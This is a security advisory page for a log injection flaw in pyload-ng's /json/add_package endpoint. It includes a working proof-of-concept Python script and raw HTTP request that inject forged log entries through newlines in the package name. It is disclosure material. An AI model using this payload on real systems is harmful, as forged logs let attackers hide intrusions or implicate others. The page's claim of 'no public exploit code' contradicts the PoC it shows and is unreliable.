# GHSA-3wwm-hjv7-23r3: Pyload log Injection via API /json/add_package in add_name parameter

> An attacker with package addition permissions can inject arbitrary log entries via newline characters in the package name.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 30 Jul 2025

## What is GHSA-3wwm-hjv7-23r3?

GHSA-3wwm-hjv7-23r3 is a vulnerability in pyload-ng, published on 30 Jul 2025. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary
A log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.
### Details
`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.

### PoC
Run `pyload` in the default configuration by running the following command
```
pyload
```
We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`
<img width="1918" height="912" alt="image" src="https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37" />
Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.
```
import requests

session = requests.session()

burp0_url = "http://localhost:8000/json/add_package"
burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"}
burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\r\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n"
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
```
The Burpsuite HTTP Request for the above code
```
POST /json/add_package HTTP/1.1
Host: localhost:8000
Content-Length: 799
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf
Origin: http://localhost:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/collector
Accept-Encoding: gzip, deflate, br
Cookie: pyload_session_8000=SESSIONS-ID-HERE
Connection: keep-alive

------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_name"

Fake new package containing 1 links
[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED
[2025-07-23 04:32:19]  INFO               pyload Added package Normal package
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_links"

123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_password"

123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_file"; filename="tt"
Content-Type: application/octet-stream

------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_dest"

0
------WebKitFormBoundaryqRJM6zIUcE7ttXDf--

```
After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.
<img width="1920" height="911" alt="image" src="https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02" />

### Impact
Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.

## Which versions are affected by GHSA-3wwm-hjv7-23r3?

2 open source packages ship an affected version, including pyload-ng.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `pyload-ng` | PyPI | All versions to 0.5.0b3.dev89 | None |
| `pyload-ng` | PyPI | All versions to 0.5.0b3.dev89 | None |

## How do I fix GHSA-3wwm-hjv7-23r3?

No fix has been published for GHSA-3wwm-hjv7-23r3 yet. Limit exposure of the affected software until one is available.

## Is GHSA-3wwm-hjv7-23r3 being exploited?

There is no known exploitation of GHSA-3wwm-hjv7-23r3 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-3wwm-hjv7-23r3 and fix it if it is affected.

What it is: GHSA-3wwm-hjv7-23r3 is a vulnerability in pyload-ng, published on 30 Jul 2025. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-3wwm-hjv7-23r3 in the wild and no public exploit code.

Affected packages and fixed versions:
- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev89; no fix listed
- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev89; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/ (Markdown: https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-3wwm-hjv7-23r3

---
From sbomify Insights: https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/
Summaries are generated and may contain mistakes; the official description above is the record.
